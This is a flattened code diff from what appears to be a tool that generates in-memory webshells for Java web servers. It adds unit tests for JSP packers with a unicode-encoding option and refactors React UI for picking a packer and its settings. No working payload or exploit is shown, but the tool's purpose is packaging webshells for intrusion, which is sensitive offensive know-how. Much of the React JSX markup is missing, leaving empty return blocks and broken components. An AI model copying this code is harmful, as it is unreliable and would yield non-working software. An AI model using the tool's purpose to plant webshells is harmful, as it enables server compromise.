Assertions.assertNotNull(resolved); + Assertions.assertEquals("default", resolved.getName()); + Assertions.assertEquals(9, resolved.getCount()); + } + + static class TypedDemoPacker implements Packer { + } + + static class TypedDemoPackerWithDefault implements Packer { + @Override + public DemoCustomConfig defaultCustomConfig() { + DemoCustomConfig config = new DemoCustomConfig(); + config.setName("default"); + config.setCount(9); + return config; + } + } + + static class RawDemoPacker implements Packer { + } + + public static class DemoCustomConfig { + private String name; + private boolean enabled; + private int count; + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public boolean isEnabled() { + return enabled; + } + + public void setEnabled(boolean enabled) { + this.enabled = enabled; + } + + public int getCount() { + return count; + } + + public void setCount(int count) { + this.count = count; + } + } +} diff --git a/packer/src/test/java/com/reajason/javaweb/packer/jsp/JspCustomPackerConfigTest.java b/packer/src/test/java/com/reajason/javaweb/packer/jsp/JspCustomPackerConfigTest.java new file mode 100644 index 00000000..dc686b82 --- /dev/null +++ b/packer/src/test/java/com/reajason/javaweb/packer/jsp/JspCustomPackerConfigTest.java @@ -0,0 +1,75 @@ +package com.reajason.javaweb.packer.jsp; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.Test; + +import java.util.Collections; + +class JspCustomPackerConfigTest { + + @Test + void classLoaderJspShouldApplyUnicodeWhenEnabled() { + ClassLoaderJspPacker packer = new ClassLoaderJspPacker(); + ClassPackerConfig config = buildConfig(); + config.setCustomConfig(packer.resolveCustomConfig(null)); + + String plain = packer.pack(config); + config.setCustomConfig(packer.resolveCustomConfig(Collections.singletonMap("unicode", true))); + String unicode = packer.pack(config); + + Assertions.assertEquals(JspUnicoder.encode(plain, true), unicode); + } + + @Test + void defineClassJspShouldApplyUnicodeWhenEnabled() { + DefineClassJspPacker packer = new DefineClassJspPacker(); + ClassPackerConfig config = buildConfig(); + config.setCustomConfig(packer.resolveCustomConfig(null)); + + String plain = packer.pack(config); + config.setCustomConfig(packer.resolveCustomConfig(Collections.singletonMap("unicode", true))); + String unicode = packer.pack(config); + + Assertions.assertEquals(JspUnicoder.encode(plain, true), unicode); + } + + @Test + void jspxShouldApplyUnicodeWhenEnabled() { + JspxPacker packer = new JspxPacker(); + ClassPackerConfig config = buildConfig(); + config.setCustomConfig(packer.resolveCustomConfig(null)); + + String plain = packer.pack(config); + config.setCustomConfig(packer.resolveCustomConfig(Collections.singletonMap("unicode", true))); + String unicode = packer.pack(config); + + Assertions.assertEquals(JspUnicoder.encode(plain, false), unicode); + } + + @Test + void defaultShouldDisableUnicode() { + ClassLoaderJspPacker packer = new ClassLoaderJspPacker(); + ClassPackerConfig config = buildConfig(); + config.setCustomConfig(packer.resolveCustomConfig(null)); + String plain = packer.pack(config); + + config.setCustomConfig(packer.resolveCustomConfig(Collections.emptyMap())); + Assertions.assertEquals(plain, packer.pack(config)); + } + + @Test + void invalidUnicodeTypeShouldThrow() { + ClassLoaderJspPacker packer = new ClassLoaderJspPacker(); + Assertions.assertThrows(IllegalArgumentException.class, + () -> packer.resolveCustomConfig(Collections.singletonMap("unicode", "oops"))); + } + + private static ClassPackerConfig buildConfig() { + ClassPackerConfig config = new ClassPackerConfig<>(); + config.setClassName("hello.world.Injector"); + config.setClassBytesBase64Str("QUJDRA=="); + config.setClassBytes(new byte[]{1, 2, 3, 4}); + return config; + } +} diff --git a/web/app/components/memshell/package-config-card.tsx b/web/app/components/memshell/package-config-card.tsx index 43b0ee90..22b1d9d1 100644 --- a/web/app/components/memshell/package-config-card.tsx +++ b/web/app/components/memshell/package-config-card.tsx @@ -1,11 +1,18 @@ import { PackageIcon } from "lucide-react"; -import { useMemo } from "react"; +import { useEffect, useMemo } from "react"; import { Controller, type UseFormReturn, useWatch } from "react-hook-form"; import { useTranslation } from "react-i18next"; +import { PackerCombobox } from "@/components/packer/packer-combobox"; +import { PackerCustomConfigFields } from "@/components/packer/packer-custom-config-fields"; import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card"; -import { FieldLabel, FieldSet } from "@/components/ui/field"; -import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group"; +import { Field, FieldLabel, FieldSet } from "@/components/ui/field"; import { Spinner } from "@/components/ui/spinner"; +import { + findPackerEntry, + getPackerDefaultConfig, + getPackerSchemaFields, + normalizePackerCategories, +} from "@/lib/packer-schema"; import type { PackerConfig } from "@/types/memshell"; import type { MemShellFormSchema } from "@/types/schema"; @@ -28,25 +35,77 @@ export default function PackageConfigCard({ name: "server", }); - const options = useMemo(() => { - const filteredOptions = (packerConfig ?? []).filter((name) => { - if (!shellType || shellType === " ") { - return true; + const packingMethod = useWatch({ + control: form.control, + name: "packingMethod", + }); + + const categories = useMemo( + () => normalizePackerCategories(packerConfig), + [packerConfig], + ); + + const filteredCategories = useMemo(() => { + return categories + .map((group) => ({ + ...group, + packers: group.packers.filter((packer) => { + if (packer.categoryAnchor) { + return false; + } + const name = packer.name; + if (!shellType || shellType === " ") { + return true; + } + if (shellType.startsWith("Agent")) { + return name.startsWith("Agent"); + } + if ((server ?? "").startsWith("XXL")) { + return !name.startsWith("Agent"); + } + return ( + !name.startsWith("Agent") && !name.toLowerCase().startsWith("xxl") + ); + }), + })) + .filter((group) => group.packers.length > 0); + }, [categories, shellType, server]); + + const allOptionNames = useMemo( + () => + filteredCategories.flatMap((group) => + group.packers.map((packer) => packer.name), + ), + [filteredCategories], + ); + + const selectedPackerEntry = useMemo( + () => + findPackerEntry(filteredCategories, packingMethod) ?? + findPackerEntry(categories, packingMethod), + [categories, filteredCategories, packingMethod], + ); + + const selectedSchemaFields = useMemo( + () => getPackerSchemaFields(selectedPackerEntry), + [selectedPackerEntry], + ); + + useEffect(() => { + if (allOptionNames.length > 0) { + const current = form.getValues("packingMethod"); + if (!current || !allOptionNames.includes(current)) { + form.setValue("packingMethod", allOptionNames[0]); } - if (shellType.startsWith("Agent")) { - return name.startsWith("Agent"); - } - if (server.startsWith("XXL")) { - return !name.startsWith("Agent"); - } - return !name.startsWith("Agent") && !name.toLowerCase().startsWith("xxl"); - }); - form.setValue("packingMethod", filteredOptions[0]); - return filteredOptions.map((name) => ({ - name: t(name), - value: name, - })); - }, [packerConfig, shellType, server, t, form]); + } + }, [allOptionNames, form]); + + useEffect(() => { + form.setValue( + "packerCustomConfig", + getPackerDefaultConfig(selectedPackerEntry) as any, + ); + }, [form, selectedPackerEntry, packingMethod]); return ( @@ -57,32 +116,30 @@ export default function PackageConfigCard({ - {options.length > 0 ? ( - ( -
- {t("packerMethod")} - - {options.map(({ name, value }) => ( -
- - - {name} - -
- ))} -
-
- )} - /> + {allOptionNames.length > 0 ? ( + <> + ( + + {t("packerMethod")} + + + )} + /> + + ) : (
diff --git a/web/app/components/memshell/results/multi-packer.tsx b/web/app/components/memshell/results/multi-packer.tsx deleted file mode 100644 index 250618c5..00000000 --- a/web/app/components/memshell/results/multi-packer.tsx +++ /dev/null @@ -1,135 +0,0 @@ -import { DownloadIcon } from "lucide-react"; -import { useCallback, useEffect, useMemo, useState } from "react"; -import { useTranslation } from "react-i18next"; -import CodeViewer from "@/components/code-viewer"; -import { Button } from "@/components/ui/button"; -import { - Select, - SelectContent, - SelectItem, - SelectTrigger, - SelectValue, -} from "@/components/ui/select"; -import { base64ToBytes, downloadBytes, downloadContent } from "@/lib/utils"; - -export function MultiPackResult({ - allPackResults, - packMethod, - shellClassName, - height = 350, -}: Readonly<{ - allPackResults: object | undefined; - packMethod: string; - shellClassName?: string; - height?: number; -}>) { - const showCode = packMethod === "JSP"; - const { t } = useTranslation(); - const packResults = allPackResults as Record | undefined; - const packMethods = useMemo( - () => Object.keys(packResults ?? {}), - [packResults], - ); - - const [selectedMethod, setSelectedMethod] = useState( - () => packMethods[0] ?? "", - ); - - const packResult = useMemo(() => { - if (!selectedMethod) { - return ""; - } - return packResults?.[selectedMethod] ?? ""; - }, [packResults, selectedMethod]); - - useEffect(() => { - if (packMethods.length === 0) { - if (selectedMethod !== "") { - setSelectedMethod(""); - } - return; - } - if (!packMethods.includes(selectedMethod)) { - setSelectedMethod(packMethods[0]); - } - }, [packMethods, selectedMethod]); - - const handleDownload = useCallback(() => { - const fileName = - shellClassName?.substring(shellClassName?.lastIndexOf(".") ?? 0) ?? ""; - if (packMethod === "JSP") { - const fileExtension = selectedMethod.includes("JSPX") ? ".jspx" : ".jsp"; - const content = new Blob([packResult], { type: "text/plain" }); - return downloadContent(content, fileName, fileExtension); - } else if ( - packMethod === "JavaDeserialize" || - packMethod.includes("Hessian") - ) { - const content = new Blob([base64ToBytes(packResult)], { - type: "application/octet-stream", - }); - return downloadContent(content, fileName, ".data"); - } else if (packMethod === "Base64") { - const base64Content = packResults?.[packMethods[0]] ?? ""; - return downloadBytes(base64Content, shellClassName); - } - }, [ - packMethod, - packMethods, - packResult, - packResults, - selectedMethod, - shellClassName, - ]); - - return ( - - - ({packResult?.length}) -
- } - button={ - packMethod === "JSP" || - packMethod === "Base64" || - packMethod === "JavaDeserialize" || - packMethod.includes("Hessian") ? ( - - ) : null - } - wrapLongLines={!showCode} - showLineNumbers={showCode} - language={showCode ? "java" : "text"} - height={height} - /> - ); -} diff --git a/web/app/components/memshell/results/result-component.tsx b/web/app/components/memshell/results/result-component.tsx index d423cbb3..8acdceaa 100644 --- a/web/app/components/memshell/results/result-component.tsx +++ b/web/app/components/memshell/results/result-component.tsx @@ -3,32 +3,19 @@ import CodeViewer from "@/components/code-viewer"; import type { MemShellResult } from "@/types/memshell"; import { AgentResult } from "./agent"; import { JarResult } from "./jar-result"; -import { MultiPackResult } from "./multi-packer"; export function ResultComponent({ packResult, - allPackResults, packMethod, generateResult, }: Readonly<{ packResult: string | undefined; - allPackResults: Map | undefined; packMethod: string; generateResult?: MemShellResult; }>) { - const showCode = packMethod === "JSP"; const isAgent = packMethod.startsWith("Agent"); const isJar = packMethod.endsWith("Jar"); const { t } = useTranslation(); - if (allPackResults) { - return ( - - ); - } if (isAgent) { return ( +
{t("common:packerMethod")}:{packMethod} ({packResult?.length})
} - wrapLongLines={!showCode} - showLineNumbers={showCode} - language={showCode ? "java" : "text"} + wrapLongLines={true} + showLineNumbers={false} + language={"text"} height={350} /> ); diff --git a/web/app/components/memshell/shell-result.tsx b/web/app/components/memshell/shell-result.tsx index cd46b58c..c09fc6fb 100644 --- a/web/app/components/memshell/shell-result.tsx +++ b/web/app/components/memshell/shell-result.tsx @@ -13,12 +13,10 @@ import { ResultComponent } from "./results/result-component"; export default function ShellResult({ packResult, - allPackResults, packMethod, generateResult, }: Readonly<{ packResult: string | undefined; - allPackResults: Map | undefined; packMethod: string; generateResult?: MemShellResult; }>) { @@ -26,7 +24,7 @@ export default function ShellResult({ if (!generateResult) { return ; } - const height = 800; + const height = 600; return ( @@ -42,7 +40,6 @@ export default function ShellResult({ diff --git a/web/app/components/packer/packer-combobox.tsx b/web/app/components/packer/packer-combobox.tsx new file mode 100644 index 00000000..385d1c37 --- /dev/null +++ b/web/app/components/packer/packer-combobox.tsx @@ -0,0 +1,147 @@ +import { useMemo, useState } from "react"; +import { useTranslation } from "react-i18next"; +import { + Combobox, + ComboboxContent, + ComboboxEmpty, + ComboboxGroup, + ComboboxInput, + ComboboxItem, + ComboboxLabel, + ComboboxList, +} from "@/components/ui/combobox"; +import type { NormalizedPackerCategory } from "@/lib/packer-schema"; + +type PackerComboboxProps = { + categories: NormalizedPackerCategory[]; + value?: string; + onValueChange: (value: string) => void; + placeholder?: string; + emptyText?: string; + disabled?: boolean; +}; + +type PreparedPacker = { + name: string; + label: string; + searchText: string; +}; + +type PreparedCategory = { + name: string; + label: string; + packers: PreparedPacker[]; +}; + +export function PackerCombobox({ + categories, + value, + onValueChange, + placeholder, + emptyText, + disabled, +}: Readonly) { + const { t } = useTranslation("common"); + const [open, setOpen] = useState(false); + const [query, setQuery] = useState(""); + + const preparedCategories = useMemo( + () => + categories.map((category) => { + const categoryLabel = t(category.name, { defaultValue: category.name }); + return { + name: category.name, + label: categoryLabel, + packers: category.packers.map((packer) => { + const packerLabel = t(packer.name, { defaultValue: packer.name }); + return { + name: packer.name, + label: packerLabel, + searchText: + `${packer.name} ${packerLabel} ${category.name} ${categoryLabel}`.toLowerCase(), + }; + }), + }; + }), + [categories, t], + ); + + const selectedLabel = useMemo(() => { + if (!value) { + return ""; + } + for (const category of preparedCategories) { + const found = category.packers.find((packer) => packer.name === value); + if (found) { + return found.label; + } + } + return value; + }, [preparedCategories, value]); + + const filteredCategories = useMemo(() => { + const normalizedQuery = query.trim().toLowerCase(); + if (!normalizedQuery) { + return preparedCategories; + } + return preparedCategories + .map((category) => ({ + ...category, + packers: category.packers.filter((packer) => + packer.searchText.includes(normalizedQuery), + ), + })) + .filter((category) => category.packers.length > 0); + }, [preparedCategories, query]); + + const resolvedPlaceholder = + placeholder ?? t("selectPacker", { defaultValue: "Select packer" }); + return ( + { + setOpen(nextOpen); + setQuery(""); + }} + inputValue={open ? query : selectedLabel} + onInputValueChange={(nextValue) => { + if (open) { + setQuery(nextValue); + } + }} + onValueChange={(nextValue) => { + if (typeof nextValue === "string") { + onValueChange(nextValue); + } + setOpen(false); + setQuery(""); + }} + autoComplete="none" + autoHighlight={true} + > + + + + {filteredCategories.map((category) => ( + + {category.label} + {category.packers.map((packer) => ( + + + {packer.label} + + + ))} + + ))} + + + + ); +} diff --git a/web/app/components/packer/packer-custom-config-fields.tsx b/web/app/components/packer/packer-custom-config-fields.tsx new file mode 100644 index 00000000..4806fa1c --- /dev/null +++ b/web/app/components/packer/packer-custom-config-fields.tsx @@ -0,0 +1,205 @@ +import { + Controller, + type FieldValues, + type UseFormReturn, +} from "react-hook-form"; +import { useTranslation } from "react-i18next"; +import { + Field, + FieldContent, + FieldDescription, + FieldLabel, + FieldSet, +} from "@/components/ui/field"; +import { Input } from "@/components/ui/input"; +import { + Select, + SelectContent, + SelectItem, + SelectTrigger, + SelectValue, +} from "@/components/ui/select"; +import { Switch } from "@/components/ui/switch"; +import type { PackerSchemaField } from "@/types/memshell"; + +type Props = { + form: UseFormReturn; + fields: PackerSchemaField[]; + baseName?: string; +}; + +export function PackerCustomConfigFields({ + form, + fields, + baseName = "packerCustomConfig", +}: Readonly>) { + const { t } = useTranslation("common"); + + if (fields.length === 0) { + return null; + } + + const supportedFields = fields.filter((field) => + ["BOOLEAN", "STRING", "ENUM", "INTEGER"].includes(field.type), + ); + + if (supportedFields.length === 0) { + return null; + } + + const getFieldDescription = (schemaField: PackerSchemaField) => { + if (!schemaField.description && !schemaField.descriptionI18nKey) { + return undefined; + } + if (!schemaField.descriptionI18nKey) { + return schemaField.description; + } + return t(schemaField.descriptionI18nKey, { + defaultValue: schemaField.description ?? schemaField.descriptionI18nKey, + }); + }; + + return ( + + + {t("packerParams", { defaultValue: "Packer Params" })} + + {supportedFields.map((schemaField) => { + const fieldName = `${baseName}.${schemaField.key}` as any; + const fieldDescription = getFieldDescription(schemaField); + + return ( + { + switch (schemaField.type) { + case "BOOLEAN": + return ( + + + + + {schemaField.key} + + {fieldDescription ? ( + + {fieldDescription} + + ) : null} + + + ); + case "ENUM": + return ( + + + + {schemaField.key} + + + {fieldDescription ? ( + + {fieldDescription} + + ) : null} + + + ); + case "INTEGER": + return ( + + + + {schemaField.key} + + { + const raw = event.target.value; + if (raw === "") { + field.onChange(undefined); + return; + } + const parsed = Number.parseInt(raw, 10); + field.onChange( + Number.isFinite(parsed) ? parsed : undefined, + ); + }} + /> + {fieldDescription ? ( + + {fieldDescription} + + ) : null} + + + ); + case "STRING": + return ( + + + + {schemaField.key} + + + {fieldDescription ? ( + + {fieldDescription} + + ) : null} + + + ); + default: + return <>; + } + }} + /> + ); + })} + + ); +} diff --git a/web/app/components/probeshell/package-config-card.tsx b/web/app/components/probeshell/package-config-card.tsx index 36c02ab6..9ac76d03 100644 --- a/web/app/components/probeshell/package-config-card.tsx +++ b/web/app/components/probeshell/package-config-card.tsx @@ -1,18 +1,20 @@ import { PackageIcon } from "lucide-react"; -import { useEffect, useState } from "react"; -import { Controller, type UseFormReturn } from "react-hook-form"; +import { useEffect, useMemo } from "react"; +import { Controller, type UseFormReturn, useWatch } from "react-hook-form"; import { useTranslation } from "react-i18next"; +import { PackerCombobox } from "@/components/packer/packer-combobox"; +import { PackerCustomConfigFields } from "@/components/packer/packer-custom-config-fields"; import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card"; -import { FieldLabel } from "@/components/ui/field"; -import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group"; +import { Field, FieldLabel, FieldSet } from "@/components/ui/field"; +import { + findPackerEntry, + getPackerDefaultConfig, + getPackerSchemaFields, + normalizePackerCategories, +} from "@/lib/packer-schema"; import type { PackerConfig } from "@/types/memshell"; import type { ProbeShellFormSchema } from "@/types/schema"; -type Option = { - name: string; - value: string; -}; - export default function PackageConfigCard({ packerConfig, form, @@ -20,34 +22,73 @@ export default function PackageConfigCard({ packerConfig: PackerConfig | undefined; form: UseFormReturn; }>) { - const [options, setOptions] = useState>([]); const { t } = useTranslation("common"); + const packingMethod = useWatch({ + control: form.control, + name: "packingMethod", + }); + + const categories = useMemo( + () => normalizePackerCategories(packerConfig), + [packerConfig], + ); + + const filteredCategories = useMemo(() => { + return categories + .map((category) => ({ + ...category, + packers: category.packers.filter((packer) => { + if (packer.categoryAnchor) { + return false; + } + const name = packer.name; + return ( + !name.startsWith("Agent") && + !name.toLowerCase().startsWith("xxl") && + !name.toLowerCase().endsWith("jar") + ); + }), + })) + .filter((category) => category.packers.length > 0); + }, [categories]); + + const allOptionNames = useMemo( + () => + filteredCategories.flatMap((category) => + category.packers.map((packer) => packer.name), + ), + [filteredCategories], + ); + + const selectedPackerEntry = useMemo( + () => + findPackerEntry(filteredCategories, packingMethod) ?? + findPackerEntry(categories, packingMethod), + [categories, filteredCategories, packingMethod], + ); + + const selectedSchemaFields = useMemo( + () => getPackerSchemaFields(selectedPackerEntry), + [selectedPackerEntry], + ); useEffect(() => { - const filteredOptions = (packerConfig ?? []).filter((name) => { - return ( - !name.startsWith("Agent") && - !name.toLowerCase().startsWith("xxl") && - !name.toLowerCase().endsWith("jar") - ); - }); - - const mappedOptions = filteredOptions.map((name) => { - return { - name: name, - value: name, - }; - }); - - setOptions(mappedOptions); const currentValue = form.getValues("packingMethod"); if ( - filteredOptions.length > 0 && - (!currentValue || !filteredOptions.includes(currentValue)) + allOptionNames.length > 0 && + (!currentValue || + !allOptionNames.some((option) => option === currentValue)) ) { - form.setValue("packingMethod", filteredOptions[0]); + form.setValue("packingMethod", allOptionNames[0]); } - }, [form, packerConfig]); + }, [allOptionNames, form]); + + useEffect(() => { + form.setValue( + "packerCustomConfig", + getPackerDefaultConfig(selectedPackerEntry) as any, + ); + }, [form, selectedPackerEntry, packingMethod]); return ( @@ -58,34 +99,30 @@ export default function PackageConfigCard({ - {options.length > 0 ? ( - ( -
- {t("packerMethod")} -
- 0 ? ( + <> + ( + + {t("packerMethod")} + - {options.map(({ name, value }) => ( -
-
- -
- - {name} - -
- ))} -
-
-
- )} - /> + onValueChange={field.onChange} + placeholder={t("selectPacker", { + defaultValue: "Select packer", + })} + /> + + )} + /> + + ) : (
diff --git a/web/app/components/probeshell/shell-result.tsx b/web/app/components/probeshell/shell-result.tsx index 6531e3e5..aa35ac65 100644 --- a/web/app/components/probeshell/shell-result.tsx +++ b/web/app/components/probeshell/shell-result.tsx @@ -3,17 +3,14 @@ import { QuickUsage } from "@/components/probeshell/quick-usage"; import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs"; import type { ProbeShellResult } from "@/types/probeshell"; import CodeViewer from "../code-viewer"; -import { MultiPackResult } from "../memshell/results/multi-packer"; import { BasicInfo } from "./basic-info"; export default function ShellResult({ packResult, - allPackResults, packMethod, generateResult, }: Readonly<{ packResult: string | undefined; - allPackResults: Map | undefined; packMethod: string; generateResult?: ProbeShellResult; }>) { @@ -21,7 +18,6 @@ export default function ShellResult({ if (!generateResult) { return ; } - const showCode = packMethod === "JSP"; const height = 600; return ( @@ -32,14 +28,6 @@ export default function ShellResult({ - {allPackResults && ( - - )} {packResult && (
} - wrapLongLines={!showCode} - showLineNumbers={showCode} - language={showCode ? "java" : "text"} + wrapLongLines={true} + showLineNumbers={false} + language={"text"} height={height} /> )} diff --git a/web/app/components/ui/combobox.tsx b/web/app/components/ui/combobox.tsx new file mode 100644 index 00000000..6f0e39b4 --- /dev/null +++ b/web/app/components/ui/combobox.tsx @@ -0,0 +1,300 @@ +"use client"; + +import * as React from "react"; +import { Combobox as ComboboxPrimitive } from "@base-ui/react"; + +import { cn } from "@/lib/utils"; +import { Button } from "@/components/ui/button"; +import { + InputGroup, + InputGroupAddon, + InputGroupButton, + InputGroupInput, +} from "@/components/ui/input-group"; +import { ChevronDownIcon, XIcon, CheckIcon } from "lucide-react"; + +const Combobox = ComboboxPrimitive.Root; + +function ComboboxValue({ ...props }: ComboboxPrimitive.Value.Props) { + return ; +} + +function ComboboxTrigger({ + className, + children, + ...props +}: ComboboxPrimitive.Trigger.Props) { + return ( + + {children} + + + ); +} + +function ComboboxClear({ className, ...props }: ComboboxPrimitive.Clear.Props) { + return ( + } + className={cn(className)} + {...props} + > + + + ); +} + +function ComboboxInput({ + className, + children, + disabled = false, + showTrigger = true, + showClear = false, + ...props +}: ComboboxPrimitive.Input.Props & { + showTrigger?: boolean; + showClear?: boolean; +}) { + return ( + + } + {...props} + /> + + {showTrigger && ( + } + data-slot="input-group-button" + className="group-has-data-[slot=combobox-clear]/input-group:hidden data-pressed:bg-transparent" + disabled={disabled} + /> + )} + {showClear && } + + {children} + + ); +} + +function ComboboxContent({ + className, + side = "bottom", + sideOffset = 6, + align = "start", + alignOffset = 0, + anchor, + ...props +}: ComboboxPrimitive.Popup.Props & + Pick< + ComboboxPrimitive.Positioner.Props, + "side" | "align" | "sideOffset" | "alignOffset" | "anchor" + >) { + return ( + + + + + + ); +} + +function ComboboxList({ className, ...props }: ComboboxPrimitive.List.Props) { + return ( + + ); +} + +function ComboboxItem({ + className, + children, + ...props +}: ComboboxPrimitive.Item.Props) { + return ( + + {children} + + } + > + + + + ); +} + +function ComboboxGroup({ className, ...props }: ComboboxPrimitive.Group.Props) { + return ( + + ); +} + +function ComboboxLabel({ + className, + ...props +}: ComboboxPrimitive.GroupLabel.Props) { + return ( + + ); +} + +function ComboboxCollection({ ...props }: ComboboxPrimitive.Collection.Props) { + return ( + + ); +} + +function ComboboxEmpty({ className, ...props }: ComboboxPrimitive.Empty.Props) { + return ( +